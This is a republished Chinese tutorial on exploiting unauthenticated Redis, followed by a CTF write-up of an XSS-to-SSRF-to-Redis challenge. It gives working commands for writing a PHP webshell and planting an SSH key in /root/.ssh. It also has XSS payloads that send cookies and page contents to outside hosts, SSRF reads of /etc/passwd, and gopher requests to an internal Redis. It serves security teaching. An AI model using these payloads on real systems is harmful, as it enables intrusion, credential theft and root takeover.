首頁 >資料庫 >Redis >redis未授權存取介紹

redis未授權存取介紹

尚
轉載
2020-05-14 09:24:063140瀏覽

redis未授權存取介紹

redis是一種以key-value為鍵值對的非關係型資料庫。

redis是一個開源的使用ANSI C語言編寫、遵守BSD協定、支援網路、可基於記憶體亦可持久化的日誌型、Key-Value資料庫,並提供多種語言的API。

它通常被稱為資料結構伺服器,因為值(value)可以是字串(String), 雜湊(Map), 列表(list), 集合(sets) 和有序集合(sorted sets )等類型。

安裝服務

win

下載網址:https://github.com/MSOpenTech/redis/releases
測試環境:

作業系統:win7
ip:192.168.107.144

redis未授權存取介紹

命令列輸入

redis-server.exe redis.conf

redis未授權存取介紹

接著查看連接埠

redis未授權存取介紹

6379連接埠(redis預設連接埠)已經開啟

redis成功啟動

ubuntu

安裝

sudo apt-get update
sudo apt-get install redis-server

啟動服務

redis-server

基本指令

連接redis

redis-cli.exe -h 192.168.107.144

檢視鍵為x的值

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

get所有key

redis 192.168.107.144:6379> keys *
1) "x"

刪除所有鍵

redis 192.168.107.144:6379>flushall

漏洞利用

本機透過telnet指令主動去連線目標機

redis未授權存取介紹

或透過redis-cli.exe -h 192.168.107.144連線

redis未授權存取介紹

連線成功

輸入info取得相關資訊

可以看到redis版本號等

redis未授權存取介紹

利用方式

  • 寫入一句話webshel​​l

  • 寫入ssh公鑰

#寫入shell

redis未授權存取介紹

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

成功寫入目標機

redis未授權存取介紹

#寫入ssh公鑰

在本機產生一對金鑰

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

redis未授權存取介紹

接著將ssh公鑰寫入目標機

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存

再到本地去連接ssh

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

即可

#CTF中的redis(XSS->SSRF&Gopher->Redis)

題目為

redis未授權存取介紹

題目位址:https: //hackme.inndy.tw/scoreboard/

xeeme

#洩漏

1redis未授權存取介紹

在robots.txt發現洩漏原始碼

是加密了的config.php

1redis未授權存取介紹

#xss打cookie

註冊登陸後的介面

1redis未授權存取介紹

發送郵件有驗證

1redis未授權存取介紹

#驗證寫個腳本即可

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>

然後過濾了一些東西

1redis未授權存取介紹

用img測試

redis未授權存取介紹

#onload也過濾了

redis未授權存取介紹

這裡注意到一個細節,過濾的是空格加上onerror,猜想是匹配到有空格的onerror才會過濾,於是構造沒有空格的onerror,嘗試payload

<img  src=""onerror="document.location=&#39;http://vps/?a=&#39;+document.cookie" alt="redis未授權存取介紹" >

然後打cookie,成功打到cookie

redis未授權存取介紹

將SESSION解碼

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

xssrf leak

根據上一題的cookie, FLAG_2=IN_THE_REDIS

還是一樣的環境

因為拿到了管理員的cookie,所以登陸一下

redis未授權存取介紹

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="redis未授權存取介紹" >

redis未授權存取介紹

发现innerhtml被过滤

于是html编码

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="redis未授權存取介紹" >

发现收到请求

redis未授權存取介紹

解个码,放在本地

redis未授權存取介紹

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://vps?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

vps收到请求

redis未授權存取介紹

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

post请求的url参数

尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

成功读到/etc/passwd

redis未授權存取介紹

于是读之前的config.php

redis未授權存取介紹

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">

redis未授權存取介紹

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

1redis未授權存取介紹

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

1redis未授權存取介紹

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

1redis未授權存取介紹

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

1redis未授權存取介紹

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

1redis未授權存取介紹

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址:https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

以上是redis未授權存取介紹的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:先知社区。如有侵權,請聯絡admin@php.cn刪除